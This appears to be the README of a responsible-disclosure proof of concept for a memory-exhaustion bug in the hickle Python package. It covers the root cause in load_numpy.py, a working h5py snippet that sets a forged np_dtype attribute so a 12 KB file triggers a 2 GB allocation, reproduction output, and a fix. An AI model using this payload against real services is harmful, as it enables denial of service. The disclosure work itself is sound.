MBM7/hickle-dtype-decompression-bomb-poc

hickle — HDF5 np_dtype Attribute Decompression Bomb (PoC)

Repo: MBM7/hickle-dtype-decompression-bomb-poc
Status: Responsible disclosure — submitted to Huntr
Severity: High / CWE-789
Package: hickle (PyPI) — HDF5-backed Python/NumPy serialization

---

Summary

A crafted 12 KB .hkl hickle file causes hickle.load() to allocate 2 GB of memory silently — no exception raised, the returned array appears valid with the fabricated dtype.

File size	Fake np_dtype attr	Peak allocation	Amplification
12,832 B	|S500000000	500 MB	1 : 38,965
12,832 B	|S2000000000	2,000 MB	1 : 155,860

---

Root Cause

hickle/loaders/load_numpy.py, NDArrayLikeContainer.convert():

def convert(self):
    data = np.array(
        self._content,
        dtype=self._h5_attrs['np_dtype']   # ← read from HDF5 attr, NO validation
    )   # ← np.array() allocates dtype.itemsize * n_elements bytes

The np_dtype HDF5 attribute on the dataset declares the numpy dtype for reconstruction. A single attr write changes it to |S2000000000 (2 GB itemsize). np.array(tiny_data, dtype='|S2000000000') allocates 2 GB to reinterpret the data — no exception raised, LOADED successfully.

---

Attack

Single h5py attribute patch on a legitimate hickle file:

import h5py
with h5py.File("model.hkl", "r+") as f:
    f["data"].attrs["np_dtype"] = "|S2000000000"
# File grows from 8,736 → 12,832 bytes
# hickle.load("model.hkl") → 2 GB silent allocation

---

Distinct from keras/anndata HDF5 findings

	keras / anndata	hickle
Mechanism	h5py sparse dataset ds[...]	np.array(data, dtype=attr)
Result	OOM kill / silent sparse load	Silent dtype reinterpretation
Patch target	Dataset shape (chunked)	np_dtype string attribute
Code path	legacy_h5_format / sparse_dataset	load_numpy.py convert()

---

Reproduce

pip install hickle numpy h5py
python poc_hickle_dtype_bomb.py

Expected:

Patched .hkl size : 12,832 bytes
Expected alloc    : 2,000,000,000 bytes (2GB)
Amplification     : 1:155,860
Result            : LOADED dtype=|S2000000000 peak=2000MB

---

Impact

Any service loading user-supplied .hkl files via hickle.load() can be OOM-killed by a 12 KB payload. Silent allocation makes it harder to detect.

---

Suggested Fix

In NDArrayLikeContainer.convert(), validate before np.array():

MAX_DTYPE_BYTES = 256 * 1024 * 1024  # 256 MB
dt = np.dtype(self._h5_attrs['np_dtype'])
if dt.itemsize > MAX_DTYPE_BYTES:
    raise ValueError(
        f"np_dtype itemsize {dt.itemsize} exceeds safety limit — "
        "possible decompression bomb"
    )

---

Environment

Package	Version
hickle	5.0.3
h5py	3.14.0
Python	3.12